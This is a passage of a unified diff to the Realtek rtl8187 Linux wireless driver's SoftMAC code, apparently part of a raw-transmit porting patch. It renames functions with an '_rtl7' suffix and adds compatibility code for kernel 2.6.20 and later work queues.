+ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = 